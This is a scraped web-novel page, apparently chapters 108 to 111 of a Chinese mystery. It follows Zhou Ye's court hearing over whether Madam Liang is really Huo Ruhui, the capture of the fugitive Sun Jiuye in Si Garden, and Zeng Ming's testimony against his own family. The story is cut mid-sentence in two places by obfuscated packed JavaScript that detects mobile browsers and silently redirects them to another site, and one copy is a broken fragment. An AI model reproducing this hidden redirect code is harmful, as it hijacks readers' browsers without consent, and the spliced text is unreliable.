$(''.inform'').remove(); $(''#content'').append('' 果然。这一听说婆母来了，嫂夫人的脸色都不一样了，这病瞧着，倒已好了大半！” 梁夫人摸了摸脸，尴尬一笑：“好像是呢，这有道是，人逢喜事精神爽！管家，好生替我招待周大人！” 一旁的管家忙应了。梁夫人冲周冶点了点头，便带着孙嬷嬷，转身朝外走去。 侍剑站得久了，动了动脖子，嗓子眼儿里嘀咕道：“咱们这怎么，越来越像是得闲来做客了。” 周冶一笑，淡淡地道：“你且看着吧。” 孙嬷嬷扶着梁夫人，慢慢往外走，回头瞥了堂上的周冶一眼道：“这东边不亮西边亮。大人回不来，好在柯大夫人到了。这老一辈，比谁都最要颜面。不管夫人是谁，做了什么，为了他们陈家自己的颜面，为了陈万霆的官声，他们也只会咬死了说，你不是什么霍茹蕙，而是他们身家清白的表亲梁婉章。” “柯大夫人那么疼韵儿，不会舍得她的母亲出事。咱们家大人又是个孝子，必定尽全力保你。” 梁夫人未及答话，迎面就走来一行人，为首的正是柯大夫人身边的刘嬷嬷。 “嬷嬷怎么这么快，”梁夫人脚步一滞，随即注意到柯大夫人不在，又惊又疑道，“婆母呢？” 刘嬷嬷未答话，而是一直走上她跟前来，先对梁夫人恭敬一礼，才道：“少夫人！” 梁夫人忙上前，亲自将她搀了起来：“嬷嬷客气！何必多礼！” “礼不可废！”刘嬷嬷起了身，这才答道，“大夫人她得了您的消息，本是即刻就要来的，可前日......说病就病了，几日都没见好，故而迟迟未能动身。” “病了？”梁夫人惊得声音高了几分，心下犯了嘀咕，怎么那么凑巧！心上嘀咕，脸上却也得满是关切，她忙问，“婆母身体一向安好，怎么好端端地，说病就病了！” “也没什么，”刘嬷嬷道，“就是听了些外头的风言风语，急火攻心，一下就病了。” “风言风语？”梁夫人心里打起了鼓，刚好在这个当口，会是什么风言风语？她不由转头看向堂内，只见周冶遥遥地看着她，好整以暇地喝着茶，面上带着一种笃定的笑意。 堂内虽然听不清外头说话，但见梁夫人的神色突然变了，侍剑奇道：“公子似乎……早有所料？所以才不急？” 周冶道：“是孟小姐，早猜到梁夫人会利用这个婆母，故而早就有所准备。” 梁夫人那么一问，刘嬷嬷顿了顿，却似乎并不想提，含糊了过去：“人年纪大了，有些风吹草动就动心绪，比不得年轻的时候了！” 梁夫人也没办法，只得关心了一通大夫人病况，又客气道：“既如此，叫人传一句话便是，怎么还劳刘嬷嬷跑这一趟？” 刘嬷嬷道：“大夫人派老奴前来，一则是向夫人亲自说明，二嘛，还有件事需得老奴亲自来办。” 梁夫人心下突然有了不好的预感。 果然，刘嬷嬷笑道：“平日还没什么，大夫人这一病，未免就想念儿孙。这不，让老奴来把韵儿小姐接回去，陪陪祖母。有孩子在一旁说说笑笑，病也就轻了几分。” 大的挡箭牌没请来，还要顺走一个小的！梁夫人心里气不打一处来，却也不能发作，深深吸了好几口气，才做出一副笑脸。见刘嬷嬷身后的人并未带包裹行李，她又问：“这是今日便要走？” 这未免太巧，也太赶。 “大夫人念了几日了，早些带回去，也早些了她牵念。”刘嬷嬷看了堂内的周冶一眼，道，“少夫人还有贵客，自去照应便是。我这就带人去帮小小姐收拾行李，少夫人就不必费心了。” 梁夫人也转头看了一眼，假作一脸为难道：“原该即刻回府伺候婆母汤药的，可这儿一时脱不开身。还是请嬷嬷歇上一日，我应了周大人的事，收拾好前些日子特意为婆母寻的滋补良药，明日一早就可同嬷嬷一并回去。” 刘嬷嬷道：“少夫人的心意，大夫人一向知道，也特意交代了，此来不必劳烦少夫人。老奴早点将小小姐带回去，替夫人你尽孝也是一样的。再说了，我看少夫人这儿，也未必今日就能了吧。” 这话一出，梁夫人和孙嬷嬷心虚地互看了一眼，只好道：“既是婆母吩咐，自当从命。” 刘嬷嬷便带着一行人，径直往后院去了。 算盘落空，还被夺了一个筹码，梁夫人努力压着心头恼火，转过头去，看着堂上悠然喝茶吃点心的周冶。她倒要瞧瞧，他如今就能治了她不成？ 她也不装病弱了，昂起头，径直走进正堂，冷冷地对周冶道：“有劳大人等了这许久，咱们这就走吧！” 周冶也假装没发现她这突然的变化，干脆地说走就走了。 一行人走出思园大门的时候，他的目光看似无意地瞥了一眼停在拐角处的一辆马车。 马车里坐的正是柯大夫人，她左首还坐了个年轻女子，正好掀开车帘一角，看着梁夫人走出府门。 这辆马车随后也跟在周冶一行人的后面，朝衙门去了。 109. 赌桌 衙门的人前脚一走，马车里坐着的女子便对上首的柯大夫人一揖，下了马车，轻轻一跃，便跳进了思园。 而回府衙路上的周冶，只一个眼色，侍剑便悄悄脱离了队伍，绕回了思园侧门。 他轻轻一跃而入，便见雨歇已经抱手等在那里，微微吓了一跳。 见他进来，雨歇瞥了他一眼，淡淡地道：“你东我西。” 说完，便转身去了。侍剑一个字没说得出来，只好转头往反方向去。 此刻的思园安静得不像话，一个人都没有。 上上下下的仆从，此刻都被叫到了正堂，齐整整站在院中，垂手听训。 梁夫人前脚刚出府，刘嬷嬷一行人便折回了正堂，吩咐管家将所有人召来。 少夫人不在，刘嬷嬷最大，管家自然不敢顶撞。他想着，大概是借少夫人不在，再背后替柯大夫人训训人，好教底下人知道谁才是主子。 大户人家的婆媳之争，他见得多了，别说老夫人的跟前人，趁少夫人不在的时候训人，便是当着少夫人立规矩、整顿园子，少夫人也未见得能如何。只是，这柯大夫人向来有极其疼爱侄女的名声，这家长从来都一派婆媳和睦的样子，原来也少不了这一遭。 于是，管家心里虽冷笑上了，却也并未言语，依言将人全唤了来。不过，为防事后被少夫人训斥，暗自嘱咐了个伶俐的小厮，立刻赶去衙门，想法在第一时间通知少夫人，也就碍不着他什么事了。 院子里密密麻麻站满了人，刘嬷嬷站在正堂门口，看着管家问：“所有人都在了？” 管家道：“除了原就出门采买、办事的，其他所有在府的人，全都在这儿了。” “没有乘机偷偷往外跑的吧？”刘嬷嬷看着他，语气温和却老辣地道。 管家被问了个正着，心道，这老嬷嬷陪着柯大夫人管家多年，几十年还真不是白混的。他额上冒汗，却还是一脸镇静地笑道：“那哪儿能呢？嬷嬷说笑了。” 话音未落，方才被他派出去的小厮就被刘嬷嬷带来的人给揪着过来了。 管家被打了个正脸，僵笑着看向了刘嬷嬷，心道，等应付了这头，再找由头派人出去给少夫人送信了。 刘嬷嬷看着那小厮道：“方才叫你去召人过来之前，我便先让人封锁了府门，不放一人进出。想必，这个人是擅自出府，管家并不知情了？” “嬷嬷明鉴！”管家的汗都要下来了，看着底下人，也做出一副厉色道，“这园子还真的要整顿整顿，这些人浑水摸鱼，指不定偷偷干什么勾当呢。” “既如此，拉下去，打二十大板，关起来。这算是轻罚，”刘嬷嬷说着，扫了管家一眼，“若有再犯，这次的一并算！” 管家明白，这一眼是告诉他，别再玩什么花招；给他一次面子，免得他当众被处置，失了威信，不好管束下人；却也只给他一次面子，再发现猫腻，便要一起算了。 管家一直在思园当差，柯大夫人一年也来不了两回，这还是头一回见识这大夫人主仆的手段，不由后悔自己想着柯大夫人向来宽厚仁善，大意了。 刘嬷嬷是大夫人跟前的老人，便是陈万霆和少夫人也要以长辈之礼待之，别说他只是这别院的管家，便是陈府总管也不能直接驳她。丞相也不能得罪皇帝身边的太监，便是这个理。 这下，他打起了应有的精神，讨好地道：“人都在这儿了，不知嬷嬷有何吩咐？” “名册。”刘嬷嬷道。 管家忙送上名册，看刘嬷嬷将名册交给身边识字的丫头，挨个点起名来，心道，就算跑出去了，也得被抓，这嬷嬷还真是老道，于是，什么小心思也不敢有了。 点完名，刘嬷嬷带来的人，挑了些熟悉的老人，带队分院子查抄去了。 剩在院中的人不敢说话，眼神却嘀咕起来，也不知这刘嬷嬷到底要查抄什么。 很快便有些不该有的东西被查抄了出来，犯事的人立刻被拖出，就在众目睽睽之下受刑。一时，所有人都噤若寒蝉，不再多说多看，生怕招来注意。 见底下人都不敢多有心思了，刘嬷嬷从袖中拿出一张纸，递给身边丫头，打开了，从众人前走过。 “谁在园中见过此人？” 底下人抬头一看，竟是一张通缉令。当即有人认了出来，“这不是那……孙九爷。” 有人大着胆子道，“他不是被通缉了好些日子了？我们怎会在园中见到他？” *** 前一夜，柯大夫人妆台上莫名出现了一封匿名信，说思园藏了官府通缉要犯。这些年并不怎么管事，尤其不管思园的大夫人，反常地当即决定要亲自来绥陵处置。 刘嬷嬷不解，柯大夫人道：“信中所言，干系重大，稍有不慎，可累及我儿官声和陈府兴衰。信中所言，宁可信其有，不可信其无。若真有，咱们自己动手擒了，主动送去官服，无过有功。若没有这事，清查一下思园上下，也没损失。” “这事，您不打算交给少夫人？”刘嬷嬷最知道柯大夫人心思。 柯大夫人点头：“事情出在思园，写信之人找我，却不找她，那便必有缘由。再说了，人既藏在思园，只怕与她脱不了干系。咱们还是先找到人再说。” “夫人不怕有人阴谋、捉弄？” 柯大夫人拿起方才压信的那只耳坠，轻轻抚着道：“这是我妹妹令虞之物。故而，写信之人必是故人，我觉得，对方应无恶意。” 丫头拿着画像在人丛中走着，刘嬷嬷在台阶上道：“没错！知道是通缉要犯，你们也该知道，兹事体大。今日的事，若有人敢向外透漏半分，直接打死！” 底下人齐道“不敢、不敢”。 “此人可能就藏匿府中，今日便要将他找出来。大人担心少夫人年轻不经事，特让我来走这一遭，顺便，也替他整顿整顿府中事务。” 刘嬷嬷目光扫视着底下人，问道，“你们这些日子可在园里见过此人？或有什么人藏匿的迹象？若有消息，必有重赏。若有隐瞒，查出便打死！” 众人连连应是。 刘嬷嬷的目光扫过众人，最后落在了梁夫人院里人身上，见几个人面上有异，但却不敢说话。 “人都拘在这儿也无用，”便是有人想告密，也不敢当众说。刘嬷嬷一挥手道，“你们都下去想一想，找一找，想起什么，找到什么，再来回我便是。” 刘嬷嬷转身回了正堂，身边丫头发话，“都散了吧！” 底下人应声去了，不由都低声嘀咕起来，疾步想四处去寻寻，生怕漏了什么，事后连累到自己头上。 乘着正堂上整顿的功夫，雨歇和侍剑将思园搜了。 这日，路人见思园的后门吱呀一声洞开，几个精壮的护院便押着个嬷嬷装扮的人走了出来。 此人穿着仆妇的衣服，梳着妇人的发髻，甚至还化着女妆，好不别扭。谁也想不到，那竟是绥陵城的一大恶人，孙九爷。 侍剑一抬下巴，官差便上前接手押过了孙九爷。 他冲刘嬷嬷拱手谢道：“还请嬷嬷转告大夫人，我家大人谢谢大夫人高义！也请大夫人放心，此事绝不会与陈府扯上半点干系！” 刘嬷嬷笑着冲他致谢道：“如此甚好，这也是我们分内之事，该谢过你家大人宽仁。” 雨歇带着刘嬷嬷给的信物，赶回到衙门内院，交给了柯大夫人。 柯大夫人看着信物，知道孙九爷果被查抄了出来，有种被证实之后的失望，半晌，才抬头对她道：“既已证实，就带我去见你家主人吧。” “待夫人再看一些事，再见我家主人不迟。” 柯大夫人想了想，也不急于这一时半刻，点头应了。 雨歇带着她，一路从内院穿到了前院，请进一个房间之前，提醒道：“进去之后，还请夫人无论看见听见什么，都不要作声。” 柯大夫人点点头，随她走了进去，旋即转头惊讶地看她。 这是……公堂的后堂！ 雨歇冲她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16999206|193939||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点了点头，伸手请她坐下。 *** “大人，如今这公堂之上，靠着上嘴皮一碰下嘴皮，就能告人，就能翻案了？” 梁夫人冷冷扫了梁云钦一眼，满是轻蔑之态，“说我绑架，虐待，证人证据何在？我既绑架了你，你怎么在这儿？既然虐待了你，你为何不见一点伤痕？” “说我是什么霍家小姐，更是可笑！我是认识她，我们当年情同姐妹，可她早就……在我梁家大火之夜便不在了。而我，因被送去姨母陈家，才侥幸躲过一劫，苟活下来，并由陈家姨母养大。陈府之人皆可为证。” “别的事需要证据，”周冶看着她道，“可认人这事，可不就得人来认？现有刘宝、许莲生和梁云钦三人，均指认夫人你，实为霍家小姐霍茹蕙。自然，夫人说的也有理，你也可请陈府之人上堂，与之对质。” “何必那么麻烦？”梁夫人笑道，“大家都言之凿凿，可都是口说无凭。比证人数，还是比关系近呢？” “敢问大人，到底是亲姨母、亲表哥的关系近，还是许莲生、刘宝、梁云钦的关系近？” “敢问大人，到底是我陈太守夫人的话可信，还是梁云钦这样一个恶事做尽的奸商可信，还是刘宝这样一个纵火嫌犯，抑或是许莲生这样一个背主求荣之人？” 梁夫人无奈地叹了口气，“我不知这三人是得了谁的指使，可这指证，实在是无稽之谈。” 周冶扫了扫众人，人心的天平，显然朝她倾斜了去。 “他们非要众口铄金，我也可找几个证人。”梁夫人叹道，“还请大人，传曾府邵夫人到场。曾家当年与霍、梁两家都熟识，她是亲历当年霍家之案的人，还是霍茹蕙的未来婆婆，她当分得清两家女儿。” “不可！”一旁的梁云钦忍不住，怒道，“你们本来就是一伙的！” 梁夫人讥笑道：“你们几个就不是一伙的？” “传邵夫人！” 周冶一发令，门外的赌桌前，摊主便吆喝了起来，“这刘宝、许莲生和梁云钦，如今对上梁、邵两位官家夫人，谁可信呢？有没有要押的？” “买定离手，买定离手啊！” 等邵夫人来了，身后还陪着一人，曾家二公子曾铭。 二人还没走进大门，就有人惊呼了起来，“哟呵，这曾家母子都上场了，三对三了，梁夫人又多了个筹码。” 有人反驳道，“他们二人只能算一份证词，本就是一家人，说不了两家话！” 主持赌局的人，看了对面茶楼的二楼一眼，吆喝道：“一边是刘宝、许莲生和梁云钦，一边是梁夫人、邵夫人和曾二公子。这双方各执一词，到底谁说的才是真的？” 有人在摊前琢磨道，“一个霍茹蕙未来婆婆，一个霍茹蕙未来相公，一个太守夫人……” “可还有陈府的表哥、姨母没上场呢。我押梁夫人！” “好！押梁夫人五两！”摊主将银子收下。 一开始就买刘宝和许莲生的，不免开始捏上了一把汗。 堂上，梁云钦见曾铭陪着邵夫人来了，颇有些意外。 他知道曾铭素日是个有主意的，对曾邵夫妇二人所行之事多不认同，坊间更是早就传出了曾家接连出事后，母子失和之言。 既然来了，便别怪他拉下水。他忙对堂上一揖，大声道：“请大人唤曾二公子作证！他是霍家小姐霍茹蕙的未婚夫，青梅竹马，一起长大，与此案也脱不了干系。” 说着，偷偷看向了梁夫人，见她果然急了。 “不可！”梁夫人斥道，“大人是读过圣贤书的人，应知为亲者讳，以免伤教破义，长不孝之风。” 周冶的目光看向了柯大夫人旁边那一侧，见曾家母子来了，孟珂必定是靠近听的。他斟酌着道：“律法，不得以尊长之罪拷问子孙，不可强迫亲属作证。不过，也从来有人大义灭亲，本官也没有阻拦之理。” 说着，看向了曾铭，“曾二公子，你如何说？” 110. 孽子 问题被抛给了曾铭，邵夫人先急了。出门前，母子俩已经爆发过一场争吵。曾铭极力阻拦，不让她上堂为梁夫人作证。 “你到底要助纣为虐到什么时候？”曾铭怒而指责道。 邵夫人指着鼻子骂：“你……你这个不孝子，怎么能这么说你母亲？” “你能做，人不能说？”曾铭道，“父亲那些事，你到底参与了多少？还不够吗？” 邵夫人不承认：“什么事，我什么都不知道。” “母亲敢说，父亲和霍茹蕙的那些事，你不知？害霍家的那些事，你没有参与？” 邵夫人转开了目光：“许莲生的胡说，你也信？你能知道什么！” “是啊！”曾铭笑笑，“若非亲眼看见，我……怎敢相信。” “你……”邵夫人转眼看着他，震惊过后又疑惑，“那你还……” “还守着那份婚约？还等着霍茹蕙有朝一日回来，与我成婚？”曾铭笑了，他摇了摇头，好笑道，“你们全都以为，我是在等她？以为我还盼着她嫁进曾府？然后呢，日日看着父亲和她长相厮守？母亲，你容得，我容不得。” 他笑着道，“以我妻子的名义入府，以你儿媳的名义生活，我们成什么了？” “你一直都知道，”邵夫人顿时明白了，“这些年，你只是拿这事当借口！” “对！”曾铭走到门口，指着外面的房舍，“因为我不想把谁家清清白白的女儿，娶到这个藏污纳垢的家里来！这里……埋葬我一家，已经够了！” “你……”邵夫人指着他，“你生在这个富贵窝，不知感恩，还嫌我们脏！你丧良心了！” “是！生在这个富贵窝，我原本是很感恩的。我的世界一直阳光明媚，我天天喜笑颜开，直到那一日……看见未婚妻同我父亲苟合，听见我母亲与父亲合谋害人！” 曾铭回忆着那仿若前世的岁月，在梁家后园里，阳光中那天真的面庞，还未曾见过黑暗丑恶的清亮眸光，还未被伤害的少女，未揭下假面的家人…… 他的眼睛重新聚起光来，看着邵夫人苦笑道，“我的阳光，唰一下就没了！因为我看见，我身边一个个熟悉的家人、仆人，原来都是地狱恶鬼。我的家，从此便成了修罗地狱！而我，从此便在这个地狱里，烈火焚心，日日煎熬！” “你说，我还能把别人家好好的姑娘拉进来吗？你们害的人还不够多吗，我曾家的罪孽还不够深吗？” “你…….你这孩子！”邵夫人从未想过，儿子从那个时候起便是这么想，这么过的。 “母亲，就算你们骗得了别人，可你们骗得了自己吗？” 邵夫人无法辩驳，转口道：“你以为我愿意……可我能怎么办呢？我哪里做得了主！” “你不愿意？”曾铭笑了，一步步逼近邵夫人，“当年你看着霍茹蕙和父亲……不，你不只是看着，你还帮着他们灭掉霍家、梁……” 突然想到，梁家之事至今还未被牵扯出来，他忙住口，抓起母亲的手，摘下她那串佛珠，当空举着道，“牵连那么多无辜之人！” 邵夫人看看佛珠，想起上次曾被他拽断，这才反应过来，原来那次不是意外。 “义庄的事，你敢说你不知道？”曾铭没等她回应，继续一句接一句地逼问，“商会和黑石堂的事，你敢说你不知道？父亲已死，你为何还要窝藏高升？” 邵夫人挣脱开自己的手：“既然你都知道了，我也不怕……全都告诉你。我们还不都是为了这个家，为了让你们兄弟能过上好日子！” “让我们过上好日子？”曾铭想到兄长，心口不由一紧，缓了缓，才又转头道，“母亲，兄长和小侄儿怎么死的你忘了吗？要不是你们作恶多端，他们会死吗？时至今日，你还以为，你们的所作所为真的没有代价吗？不是不报……” “孽子！” 随着这一声怒喝，一记响亮的耳光打在了曾铭脸上。 两人都愣在了原地。 曾铭脑中懵了一瞬，随即叹了口气，笑道：“身边人如何一个个离你而去，你自己不知道吗？当年，你就失去了你的小儿子。随后，你失去了夫君，失去了大儿子、孙子……就连对你最忠心的仆人，也对你彻底寒了心，站在了你对面，你还没有醒悟吗？” “你到底得到了什么，失去了什么，这本账你这辈子都算不过来是吗？” 曾铭口中还在说着，心中却早已失去了说服她的念头。他无力地笑了笑，抬手招小厮过来，将手中佛珠交给他：“拿去寺里，请高僧超度，随后找个地方，让他们入土为安吧！” 说完，他转身看着邵夫人，“走！我陪母亲上公堂。” 邵夫人看他的样子，反而本能地一缩，退了一步。 曾铭却上前拉着她，就大步朝外去了，一路拉得邵夫人趔趔趄趄，他也不管不顾。 *** 曾家母子对峙的这功夫，周冶往屏风内看了一眼。他早对孟珂说，“你可请曾铭作证。我觉得，你开口，他很可能会站出来的。” 孟珂却只道，“我做事之事便未曾顾念过他，如何要让他来顾念我。” 他也并未强求，倒是想看看这曾铭，到了自家生死存亡之际，还会不会站在是非对错这一边，还是要维护休戚相关的自家利益，自家声名，乃至后半生的衣食无忧。 邵夫人警告地叫了一声：“铭儿！” 曾铭看了她一眼，懂了她眼中的警告。 “母亲！”他对着邵夫人一揖，“儿子不孝！” “曾铭！”邵夫人厉声喝住了他，“今日你若当堂胡说，我便再没你这个儿子！” 曾铭看也不看她，倒是看向了周冶扫过的方向一眼，仿佛那里有什么人，随即转身对堂上一揖，坚定地道：“大人……” “你要逼死我吗？”邵夫人怒喝道，“你要让我当堂撞死在这里！” 曾铭弯腰在那，只顿了顿，继续一揖下去，大声道：“霍茹蕙未婚夫曾铭，愿意为证！” 底下当即沸腾起来。衙门口的赌桌上，曾铭的名牌挪到了另一侧。 “先是主仆反目，又有母子成仇，到底谁才是恶人？到底谁输谁赢？”庄家嘿嘿一笑，“这么多银子，将落入谁手！” 堂上，曾铭道：“当年，家父曾怀义与未婚妻霍茹蕙在曾府中苟合，乃是我亲眼撞见！” “而家父、家母与霍茹蕙，合谋捏造霍家案，串供诬告众人，亦是我亲耳所闻。” “霍茹蕙，的确没死，而且她早就回到了绥陵，就在这堂上，” 他转向梁夫人，抬手一指，掷地有声地道，“就是她！梁夫人！” *** 曾铭的话一出，有人赞大义灭亲，也有人骂不孝儿孙。 一场戏不落的小年轻啧啧啧道：“撞到这样的事，还能在大庭广众之下说出来，真是…..够爷们儿！” 周冶问：“众人皆知，曾二公子你一直在找未婚妻霍茹蕙，却始终没找到。而你分明早就见过梁夫人。难道，你见过多年，却不曾认出？现在又如何反口指认说，梁夫人便是霍家小姐？” “并非没有认出，”曾铭道，“而是认出了，却未相认。” “我再次见到霍茹蕙的时候，她已经同陈大人成亲生子。我想着，木已成舟，多说无益。” 周冶：“那你为何还守着你们二人的婚约？费心费心找寻多年又如何解释？” 曾铭道：“我寻人在前，未娶在后。旁人皆误以为，我是未婚妻失踪，仍死守婚约。实则，草民只是不想娶亲。而当年四处找霍茹蕙下落，也只是……想搞清楚事情真相。” 周冶却听出了一点不对劲：若说曾铭是出于一起长大的情分，想知道她的死活，还说得过去；可他既然听到了那么多，事情真相早就清楚，霍茹蕙的下落，他也不难知道。 既如此，那他还四处找霍茹蕙做什么？他费心费力多年，找人找得人尽皆知，并不是假的。唯一的可能是……他找的根本就不是霍茹蕙！ 周冶看向了曾铭——他从一开始就知道事情真相，知道霍茹蕙下落，他找的是梁婉章，可他万万不能打着四处寻找梁婉章的招牌。正好霍茹蕙夺了梁婉章身份，他便名正言顺地找起了未婚妻！ 他找的是她！周冶不自觉扫了屏风那边一眼。 “曾铭所言，不足为信！” 邵夫人没反驳，梁夫人站出来了。 周冶收回心神，看着她道：“曾铭与……霍茹蕙，乃青梅竹马，从小一同长大，又是未婚夫妻，无疑是这世上最熟悉霍茹蕙之人。他的证词，还不足为信？” 梁夫人道：“曾铭他……因爱生恨，不可取信！” 周冶听笑了：“这话怎么说！夫人这意思是，对你因爱生恨，还是对霍茹蕙因爱生恨？这么说，是不是承认，夫人你和霍茹蕙，便是同一人？” “大人容禀。”梁夫人瞥了曾铭一眼，“霍茹蕙虽是他自小定亲的未婚妻，可他心悦的却另有人选。正是青梅竹马一起长大的三人中的……另一人。” 曾铭闻言脑子一突，看向了梁夫人。正撞上她的冷笑，“他因爱生恨的对象，正是我……梁婉章。” 周冶原以为她要扯白，可听她这一说，却倏地就抓到了这真假混杂的辩词里，夹杂的真话——曾铭当初心悦之人，是梁婉章！

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16999207|193939||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 难怪他一直找人，在分明见过改头换面的梁夫人后，依然在找人。 难怪当初曾怀义死时，他不惜让自己惹上嫌疑，也要替孟珂遮掩，还引得自己以为孟珂是他未婚妻霍茹蕙。 他其实第一时间便认出了她，却从来没有点破，而是一直在背后默默地成全她。 而孟珂呢，显然也是知情的。 她不去找曾铭，不拉他为此案作证，并不单纯因为他是曾家人，所以不可靠，也不只是不想为难这个儿时玩伴。 她不找他，正是因为一旦她开口，他就会站过来；正因为知道他找了自己多年，知道他的感情，所以反而不能去利用他。 他又想起过年的时候赖在熹园，曾见孟珂对着一盒折纸发愣，正是曾府年下送去的贺礼。他当时还奇怪，觉得曾府怎么送些孩子玩意儿，也只当是他们童年旧谊，并未深想。如今想来，想必那是曾铭无言的对话。 *** 梁夫人道，“自霍家小姐失踪后，最初几年，曾二公子到处找寻下落，后来魔症到骚扰、惊吓数名女子。官府应有案卷，大人一查便知。若无遗失，当中必有我的一份。只不过，这一份却不是因为寻找霍小姐，而是他自己的私心……” 周冶看向了一旁的俞书吏，俞用之点了点头，随即吩咐左右去寻卷宗。 周冶：“你的意思是，他骚扰你，不为寻未婚亲，而是因为认出你是他心悦之人。” “正是！” “不是！”曾铭当即驳斥道，“大人，霍茹蕙当初以梁夫人的身份重新回到绥陵，我是向她追问当年之事，但并未有任何逾越之举。而她却不分青红皂白，报官说我骚扰，实乃一面之辞。还请大人明查！” “没想到，她心机如此之深，当初报官便是为了有朝一日在堂上以此驳斥我的指认。” 周冶看了递上来的卷宗，慢慢道：“的确曾报案，也的确只有一面之辞，没有其他人证，也并未有定论。当时，夫人你也并未追究，便各自作罢了。” 梁夫人道：“那是看在曾家面子上！” 正说着，她就见侍剑从后堂上来，对堂上的周冶使了个眼色，周冶随即笑了，不经意地扫了她一眼。 见他这一眼，她顿时有了不好的预感，往外一扫，果然见一个府里的小厮焦急地挤在人群里，递不进话而干瞪眼。 也不知出了什么事，梁夫人心道不好，难道他们乘自己上堂，搞了什么事。 等审完出了衙门，梁夫人直奔向那小厮，果然听到他们抓走了孙九爷的消息。 孙嬷嬷先急了：“夫人，这可怎么办？” 梁夫人冲她使了个眼色，孙嬷嬷立刻反应过来，忙道，“这九爷怎会藏进了思园？！害我们落一个窝藏逃犯的罪……嫌疑！” “谁说思园窝藏？”梁夫人当即斥道，轻轻掸了掸衣服，淡淡地道，“我们并不知道此人藏在思园，谁能证明我们知情？” 说着，便让孙嬷嬷扶着上了车，这才压低了声音道：“他们竟然玩了个调虎离山，今日不只是冲着我来的，还是冲着搜人去的！” “夫人，现在怎么办？” 梁夫人无所谓地反问道：“他们不是抓到人了吗？” “是啊，他们抓了九爷，该怎么……办，”孙嬷嬷突然反应过来，猛地抬眼看向她，她是不打算救人了，要壁虎断尾了。 “可是……他……”苏嬷嬷没说下去，静默了许久，又忍不住道，“就算他扛下所有罪状……” 梁夫人不悦地看向她，她随即噤声了。 过了半晌，梁夫人和缓了语气，看着她道：“这样吧，今夜你去一趟，去看看他，该说的话，也嘱咐嘱咐。” 听到前半句，孙嬷嬷才面露出欣喜，便听到最后一句，立刻将那份喜凝固在了脸上。 不用说，她也知道，“该嘱咐”的是什么，迟疑了一下，还是应道：“是。” 孙嬷嬷看着梁夫人的脸色，小心地道，“不过，你的身份如今已经暴露，只怕迟早……” 若只是曾铭和梁云钦，她并不怕，反正将水搅浑便是。可她心里一直有一股隐忧，若是那个人出来，可就难抗衡了。 “怕什么？”梁夫人还是强作镇定道，“梁夫人是个清白官眷，霍茹蕙也只是个无辜受害的少女，就算揭穿了，他们能做什么？” 不过，陈万霆一时回不来，足以生出许多变数。如今在绥陵没了护盾，她自是要找，于是道：“回思园就收拾东西！” “做什么？”孙嬷嬷惊得睁大了眼，“这就要逃了，倒也还不至于？” 见梁夫人不理她，她忍不住问道，“咱们要去哪里？” 111. 陈府 “去哪？”梁夫人轻笑一声，“咱们回陈府。” “柯大夫人不能来，我还不能去吗？婆母病了，我这个儿媳自然是要去床前守着，侍奉汤药才是。” “也好！”孙嬷嬷点头道，“陈府的门，可比思园难闯。如此，衙门要传唤可就没那么方便了。” 梁夫人转头看她，叮嘱道：“所以，大牢，你今夜便得去。” 孙嬷嬷不言语了。 第二日一早，天没亮，思园门口的马车就往金阳城去了。 到了柯大夫人房门口，梁夫人焦心地喊了一嗓子，“婆母！” 疾步上前，直接便要跪在床前。 “这是干什么，”柯大夫人从枕上吃力地抬起头来，忙抬手示意，一旁的人赶紧去扶，“快起来。” 梁夫人却怎么都不起来，抬起泪眼：“婆母，儿媳有罪，当罚！” “是儿媳治家不严，竟让歹人混了进去，私藏多日，差点给陈家惹上泼天大祸！”她说着，又看向刘嬷嬷，“婆母在病中，我不能床前尽孝，还要劳您伤神，遣嬷嬷去捉贼！不然，我还不知要被蒙蔽到几时！” 说完，伏在地上，“儿媳到底年轻，惹了如此大事，请婆母责罚！” “起来说话！”柯大夫人让刘嬷嬷扶起来，靠在了床头，“这么跪着，话都不能好好说了。” 梁夫人直起腰来，但仍跪着：“儿媳自知有错，不敢起来。” “你这孩子！”柯大夫人一个眼神，刘嬷嬷便亲自去扶。 刘嬷嬷也劝道：“少夫人就莫让大夫人再着急上火了。” 梁夫人这才顺势起来，让柯大夫人拉着，靠着床沿坐下了。 “刘嬷嬷去搜检那贼子的事，你可别往心里去，那不是针对你的。我们陈家多少有些人脉，听到些风声，总要以防万一，去探个究竟。震言不在，我又恐你年轻。一个年轻妇人的宅院藏了个男人，好说不好听，要是他再拿你要挟，真有个好歹，我可没法给震言交代。这都是为你考虑！不是怪你。” 柯大夫人解释完，又道，“不过，你这么急着过来，还有事吧？” “能有什么事？婆母病卧在床，儿媳自当来床前尽孝。” 柯大夫人看着她，担心地道：“可我听刘嬷嬷说，衙门有案子传你。你这一走，若再有事，岂非不便？” “这正是我此来的另一个原因。” 梁夫人扫了一眼房中站满的下人，没往下说了。 柯大夫人当即会意，抬手一挥：“都下去吧。” 众人忙都散了下去，房中只剩婆媳二人和各自的贴身嬷嬷，梁夫人立刻又跪了下去。柯大夫人看了她一眼，叹了口气，也没再拦。 梁夫人道：“婆母说的没错，衙门传唤儿媳，是因有人指认儿媳是……霍家小姐霍茹蕙。” 柯大夫人微微张了张嘴，没说话，皱眉听她继续说了下去。 梁夫人一副视死如归的模样道：“如此大事，儿媳不得不亲自前来，向婆母秉明。一则，请婆……请夫人放心，我便是死，也绝不玷污陈家的名声，不会影响夫君的官声。” 